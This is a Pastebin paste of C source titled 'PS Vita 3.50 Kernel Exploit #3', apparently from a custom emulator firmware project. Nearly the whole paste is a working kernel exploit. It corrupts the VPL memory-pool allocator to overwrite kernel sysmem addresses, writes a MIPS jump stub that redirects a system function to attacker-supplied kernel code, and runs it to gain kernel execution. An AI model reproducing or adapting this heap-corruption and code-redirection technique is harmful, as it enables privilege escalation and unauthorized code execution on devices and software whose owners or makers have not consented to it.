Advertisement
Guest User

PS Vita 3.50 Kernel Exploit #3

a guest
Apr 18th, 2015
6,360
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.     Custom Emulator Firmware
  3.     Copyright (C) 2012-2015, Total_Noob
  4.  
  5.     This program is free software: you can redistribute it and/or modify
  6.     it under the terms of the GNU General Public License as published by
  7.     the Free Software Foundation, either version 3 of the License, or
  8.     (at your option) any later version.
  9.  
  10.     This program is distributed in the hope that it will be useful,
  11.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  12.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  13.     GNU General Public License for more details.
  14.  
  15.     You should have received a copy of the GNU General Public License
  16.     along with this program.  If not, see <http://www.gnu.org/licenses/>.
  17. */
  18.  
  19. #include <common.h>
  20.  
  21. #include "main.h"
  22. #include "libc.h"
  23. #include "utils.h"
  24.  
  25. u32 sw_address_300 = 0x88014380;
  26. u32 sw_address_335 = 0x88014640;
  27.  
  28. __attribute__((noinline)) int ValidUserAddressVolatileMem(void *addr)
  29. {
  30.     if((u32)addr >= 0x08400000 && (u32)addr < 0x08800000) return 1;
  31.     return 0;
  32. }
  33.  
  34. u32 FindImportVolatileMem(const char *libname, u32 nid)
  35. {
  36.     u32 i;
  37.     for(i = 0x08400000; i < 0x08800000; i += 4)
  38.     {
  39.         SceLibraryStubTable *stub = (SceLibraryStubTable *)i;
  40.  
  41.         if(ValidUserAddressVolatileMem((void *)stub->libname) && ValidUserAddressVolatileMem(stub->nidtable) && ValidUserAddressVolatileMem(stub->stubtable))
  42.         {
  43.             if(_strcmp(stub->libname, libname) == 0)
  44.             {
  45.                 u32 *table = stub->nidtable;
  46.  
  47.                 int j;
  48.                 for(j = 0; j < stub->stubcount; j++)
  49.                 {
  50.                     if(table[j] == nid)
  51.                     {
  52.                         return ((u32)stub->stubtable + (j * 8));
  53.                     }
  54.                 }
  55.             }
  56.         }
  57.     }
  58.  
  59.     return 0;
  60. }
  61.  
  62. void RepairSysmem()
  63. {
  64.     _sw(0, sw_address_300);
  65.     _sw(0, sw_address_300 + 4);
  66.  
  67.     _sw(0, sw_address_335);
  68.     _sw(0, sw_address_335 + 4);
  69. }
  70.  
  71. void doExploit()
  72. {
  73.     /* Find imports in RAM */
  74.     void (* _sceKernelLibcClock)() = (void *)FindImport("UtilsForUser", 0x91E4F6A7);
  75.     void (* _sceKernelDcacheWritebackAll)() = (void *)FindImport("UtilsForUser", 0x79D1C3FA);
  76.  
  77.     int (* _sceKernelDelayThread)(SceUInt delay) = (void *)FindImport("ThreadManForUser", 0xCEADEB47);
  78.     int (* _sceUtilitySavedataGetStatus)(void) = (void *)FindImport("sceUtility", 0x8874DBE0);
  79.     int (* _sceUtilitySavedataInitStart)(SceUtilitySavedataParam *params) = (void *)FindImport("sceUtility", 0x50C4CD57);
  80.  
  81.     if(!_sceKernelLibcClock || !_sceKernelDcacheWritebackAll) ErrorFlashScreen();
  82.     if(!_sceKernelDelayThread || !_sceUtilitySavedataGetStatus || !_sceUtilitySavedataInitStart) ErrorFlashScreen();
  83.  
  84.     /* Unlock volatile memory if necessary */
  85.     int (* sceKernelVolatileMemUnlock)(int unk) = (void *)FindImport("sceSuspendForUser", 0xA569E425);
  86.     if(sceKernelVolatileMemUnlock)
  87.     {
  88.         sceKernelVolatileMemUnlock(0);
  89.     }
  90.  
  91.     /* Load required module */
  92.     SceUtilitySavedataParam dialog;
  93.  
  94.     _memset(&dialog, 0, sizeof(SceUtilitySavedataParam));
  95.     dialog.base.size = sizeof(SceUtilitySavedataParam);
  96.     dialog.base.graphicsThread = 0x11;
  97.     dialog.base.accessThread = 0x13;
  98.     dialog.base.fontThread = 0x12;
  99.     dialog.base.soundThread = 0x10;
  100.  
  101.     dialog.mode = PSP_UTILITY_SAVEDATA_AUTOLOAD;
  102.  
  103.     _sceUtilitySavedataInitStart(&dialog);
  104.  
  105.     while(_sceUtilitySavedataGetStatus() < 2)
  106.     {
  107.         _sceKernelDelayThread(100);
  108.     }
  109.  
  110.     /* Find the vulnerable function */
  111.     SceUID (* _sceKernelCreateVpl)(const char *name, int part, int attr, unsigned int size, struct SceKernelVplOptParam *opt) = (void *)FindImportVolatileMem("ThreadManForUser", 0x56C039B5);
  112.     int (* _sceKernelTryAllocateVpl)(SceUID uid, unsigned int size, void **data) = (void *)FindImportVolatileMem("ThreadManForUser", 0xAF36D708);
  113.     int (* _sceKernelFreeVpl)(SceUID uid, void *data) = (void *)FindImportVolatileMem("ThreadManForUser", 0xB736E9FF);
  114.     int (* _sceKernelDeleteVpl)(SceUID uid) = (void *)FindImportVolatileMem("ThreadManForUser", 0x89B3D48C);
  115.  
  116.     if(!_sceKernelCreateVpl || !_sceKernelTryAllocateVpl || !_sceKernelFreeVpl || !_sceKernelDeleteVpl) ErrorFlashScreen();
  117.  
  118.     /* Exploit */
  119.     SceUID vpl = _sceKernelCreateVpl("", 2, 1, 512, NULL);
  120.     _sceKernelTryAllocateVpl(vpl, 256, (void *)0x08801000);
  121.     u32 address = *(u32 *)(*(u32 *)0x08801000 + 0x100);
  122.     _sceKernelFreeVpl(vpl, (void *)0x08801000);
  123.     _sceKernelDeleteVpl(vpl);
  124.  
  125.     vpl = _sceKernelCreateVpl("", 2, 1, 512, NULL);
  126.     _sw(((sw_address_300 - address) + 0x108) / 8, address + 4);
  127.     _sceKernelTryAllocateVpl(vpl, 256, (void *)0x08801000);
  128.     _sceKernelFreeVpl(vpl, (void *)0x08801000);
  129.     _sceKernelDeleteVpl(vpl);
  130.  
  131.     vpl = _sceKernelCreateVpl("", 2, 1, 512, NULL);
  132.     _sw(((sw_address_335 - address) + 0x108) / 8, address + 4);
  133.     _sceKernelTryAllocateVpl(vpl, 256, (void *)0x08801000);
  134.     _sceKernelFreeVpl(vpl, (void *)0x08801000);
  135.     _sceKernelDeleteVpl(vpl);
  136.  
  137.     u32 jumpto = address - 16;
  138.  
  139.     u32 addr = 0x08800000;
  140.     REDIRECT_FUNCTION(jumpto, addr);
  141.  
  142.     u32 kfuncaddr = (u32)&kernel_function | 0x80000000;
  143.  
  144.     _sw(0x3C020000 | (kfuncaddr >> 16), addr);          //lui   $v0, %high(kernel_function)
  145.     _sw(0x34420000 | (kfuncaddr & 0xFFFF), addr + 4);   //ori   $v0, $v0, %low(kernel_function)
  146.     _sw(0x00400008, addr + 8);                          //jr    $v0
  147.     _sw(0, addr + 12);                                  //nop
  148.  
  149.     _sceKernelDcacheWritebackAll();
  150.  
  151.     /* Execute kernel function */
  152.     _sceKernelLibcClock();
  153. }
Advertisement
RAW Paste Data Copied
Advertisement